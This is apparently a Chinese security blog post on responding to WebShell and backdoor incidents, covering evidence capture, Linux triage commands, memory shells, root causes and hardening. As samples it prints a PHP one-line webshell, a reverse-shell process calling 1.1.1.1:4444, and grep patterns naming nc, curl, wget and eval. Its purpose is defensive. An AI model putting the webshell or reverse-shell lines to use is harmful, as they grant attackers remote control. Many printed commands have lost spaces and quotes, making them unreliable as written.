
干应急响应这些年处理过无数起网站被挂马、被传后门的案子。发现很多运维或者初级安全兄弟一看到告警说“发现WebShell”第一反应就是赶紧登录服务器把那个可疑的.php或.jsp文件rm -rf删了然后松一口气。停打住这么干大概率会给自己挖大坑甚至让攻击者在你眼皮底下把核心数据拖光。今天咱们不扯虚的直接从一线实战视角把WebShell和后门应急处置的完整流程扒个底朝天。开篇立规矩处置WebShell的“四不要”与总原则接到WebShell告警或发现网站异常先在心里默念这四条铁律严禁执行以下操作不要直接删文件不取证文件一删攻击者怎么进来的、用了什么工具、有没有留其他后门线索全断了。不要没断开攻击通道就改密码攻击者手里还有Session或者内存马你改了密码他照样能进甚至可能触发他的破坏机制。不要随意重启Web服务如果是Java内存马一重启内存里的证据全丢了而且重启可能掩盖了正在执行的恶意进程。不要只删不溯源今天删了明天他又传一个。不知道入侵路径是上传漏洞还是弱口令等于白干。处置总原则刻在脑子里“先隔离取证再查杀清除先溯源路径再封堵加固。”正确开局第一件事是确认是否真的被入侵别一看到告警就慌先搞清楚现在的局面。第一步确认告警来源与初步定性。是WAF/主机安全报的毒是流量分析发现异常POST还是自己巡检扫出来的第二步摸清Web服务架构。是PHP、Java、Python还是Go用的什么框架Spring、ThinkPHPWeb根目录在哪第三步按三层往下收敛。请求入口攻击者从哪个URL进来的文件落盘后门文件藏在哪个目录执行行为后门运行后干了什么外连、读文件、提权第四步明确区分三类情况。确认后门高危实锤的脚本木马或内存马。立即隔离。可疑文件中危代码写得烂或者用了冷门框架被安全软件误报。需要人工研判。误报低危正常的业务代码如包含eval的加密解密模块。加白名单。排查主链路可复制的命令与操作排查必须形成证据链。以下是标准动作以Linux为例命令可直接复制。1. 查Web访问日志找异常上传与访问操作在Nginx/Apache/Tomcat日志里找蛛丝马迹。# 找最近的POST请求上传后门通常是POSTgrepPOST/var/log/nginx/access.log|tail-n50# 找访问异常后缀或隐藏文件的请求grep-E\.(php|jsp|asp|aspx|sh)\?/var/log/nginx/access.log|grep-vindex# 找带有特殊参数如eval、cmd、exec的GET请求grep-iEcmd|exec|eval|shell/var/log/nginx/access.log现象与问题发现某个IP在凌晨2点向/upload/avatar.php发了一个几百KB的POST请求随后立刻访问了/upload/shell.jsp。实锤上传并访问了后门。2. 找Web目录下可疑文件操作按时间、按特征排查。# 找最近3天内修改过的Web文件find/var/www/html-mtime-3-typef-name*.php-o-name*.jsp# 找Web目录下的隐藏文件攻击者喜欢用 .xxx.phpfind/var/www/html-name.*-typef# 找包含一句话木马特征的脚本find/var/www/html-typef-name*.php-execgrep-leval(\$_POST{}现象与问题发现一个.config.php隐藏文件修改时间是昨天凌晨且包含eval函数。3. 查进程与网络连接操作看后门是不是正在被调用有没有往外连。# 查所有ESTABLISHED连接看有没有连外网可疑IPnetstat-antp|grepESTABLISHED# 查Web服务如php-fpm, java, tomcat衍生的异常子进程ps-ef|grep-Ebash|sh|nc|wget|curl|grep-vgrep现象与问题发现java进程下挂了一个bash -i /dev/tcp/1.1.1.1/4444 01。[生产环境风险实锤反弹Shell先别杀进程抓包留存]4. 查系统层痕迹操作看攻击者有没有做持久化或提权。# 查最近登录记录last-n20# 查有没有被写入定时任务cat/etc/crontab;ls-l/etc/cron.*;crontab-l# 查有没有新增UID为0的用户awk-F:$30 {print $1}/etc/passwd5. 交叉验证操作把日志里的时间、文件修改时间、进程创建时间对齐。如果三者时间吻合形成完美证据链直接定性。高频现场逐个拆遇到具体场景对号入座1. 一句话木马动态执行特征现象文件极小几十字节内容如?php eval($_POST[cmd]);?。命令cat /var/www/html/cmd.php处理备份取证后删除。在WAF上添加规则拦截带有eval($_POST特征的请求。2. 加密混淆WebShell冰蝎/哥斯拉/蚁剑现象代码全是base64、gzinflate、rot13或者请求流量是加密的如冰蝎的AES/RSA。命令strings /var/www/html/shell.php | grep -i base64处理不要试图人肉解码。直接提取文件Hash丢微步/VirusTotal查如果是冰蝎/哥斯拉重点查杀内存马或直接在WAF拦截特定的加密流量特征如固定的User-Agent或Content-Type。3. 内存马框架内存型后门现象Web目录里干干净净但网站一直有异常外连或执行命令。重启服务后异常消失运行一段时间又出现。命令# Java应用导出线程栈看异常线程jstackpidjstack.loggrep-ifilter\|servlet\|listenerjstack.log处理[生产环境风险内存马重启可清但会丢证据] 先用arthas的sc/jad命令或者河马Webshell查杀工具定位内存马类名确认后再重启Web服务清除并排查是哪个漏洞如Shiro、Fastjson注入的。4. 图片马/伪装文件现象文件后缀是.jpg或.png但大小异常或者被配合文件包含漏洞使用。命令file /var/www/html/img.jpg如果输出包含PHP script就是图片马。处理删除文件。排查Web代码看有没有include($_GET[file])这种本地文件包含漏洞。5. WebShell被用来提权或反弹shell现象Web进程权限突然变高或者出现了nc、bash -i进程。命令ps -ef | grep bash -i处理在防火墙上阻断该服务器对外的主动连接只允许特定IP出站排查内核漏洞或Sudo提权配置。6. 多个后门连环主后门备用后门现象删了一个过几天又冒出来。处理不要只删告警的那个文件。用find把整个Web目录按时间排序把攻击者入侵时间段内新增/修改的文件全部拉出来挨个审查。7. 攻击者清理日志痕迹现象Web访问日志在某个时间点突然中断或者history命令被清空。命令ls -l /var/log/nginx/access.log看文件大小是否突然变小。处理日志被echo 截断或rm删除。去查云厂商的底层日志如阿里云SLS、腾讯云CLB日志或者查系统层的audit.log还原操作。恢复与处置分场景给策略处置分三档隔离断外联 → 清除删文件/重启清内存马 → 恢复还原被篡改文件。什么情况先保业务如果是核心交易链路不能直接断网。策略在WAF/负载均衡层直接封禁攻击者IP或者开启WAF的“虚拟补丁”模式拦截恶意请求业务继续跑后台慢慢清。什么情况先断网发现已经反弹Shell或者正在往外拖库。[生产环境风险别犹豫直接在安全组/防火墙切断该服务器的外网出站权限] 保留内网访问方便排查。清除后必须验证删完文件、杀完进程后用河马、D盾等工具再全盘扫一遍观察24小时看WAF还有没有同类告警。处置全程留档截图、导出日志、备份恶意文件打包加密存证。写报告时全靠这些。根因分析别全怪黑客技术牛WebShell能传进来根因往往是代码或配置有漏洞上传功能无校验只看了后缀没看文件头或者没限制执行权限。文件包含漏洞代码里写了include($user_input)。备份文件泄露运维把www.tar.gz放在了Web目录被攻击者扫到直接下载拿到源码找漏洞。后台弱口令CMS后台密码是admin/123456直接登录传马。框架已知漏洞用的老版本Struts2、Fastjson、ThinkPHP没打补丁。如何用日志定责形成证据链用Web访问日志证明攻击者在X时X分通过Y接口上传了文件。用文件修改时间证明Z文件确实在那个时间点被创建。用进程/网络日志证明该文件运行后发起了外连。把这三段拼在一起证明是外部攻击者利用某漏洞入侵不是内部员工监守自盗。事后加固要点擦完屁股得防病上传校验白名单机制只允许传jpg/png校验文件头Magic Number上传目录禁止执行权限Nginx配置location /upload { deny all; }或禁止解析PHP。Web目录权限最小化Web运行用户如www对代码目录只有读权限对上传目录有写权限但无执行权限。防护规则覆盖WAF开启防上传、防命令执行、防SQL注入规则。框架及时补丁定期扫组件漏洞该升级升级。后台口令整改强制强密码后台入口改随机路径绑定IP白名单。文件完整性监控部署主机安全Agent如OSSEC、云安全中心Web目录文件一变就告警。日志留存与告警Web日志至少保留180天合规要求接入SIEM对异常POST和状态码403/500突增进行告警。总结处置过程中高频踩坑最后回顾一下大家最容易踩的7个坑有则改之直接删文件丢线索一删了之事后写报告只能瞎编。只删不溯源漏洞没补明天攻击者换个姿势再来。忽略内存马删了文件以为好了重启前没抓现场重启后死活查不出原因。误删正常文件把业务自己写的加密模块当木马删了导致业务宕机。没断开攻击通道就改密码攻击者拿着有效Session继续操作甚至触发逻辑炸弹。日志没留存查不了日志只保留7天半个月后发现被入侵死无对证。清理不彻底二次入侵只删了WebShell没删攻击者留下的定时任务或隐藏账号。处理WebShell是个拼眼力和耐心的活代码和日志里藏着所有的魔鬼。别把安全做成简单的“删文件”要把每一次入侵都当成一次给系统打补丁、做加固的契机。如果你觉得这篇实战复盘对你有帮助别忘了点赞、收藏、关注一键三连你在处理WebShell或网站后门时还遇到过什么奇葩事或者坑欢迎在评论区留言交流咱们一起排雷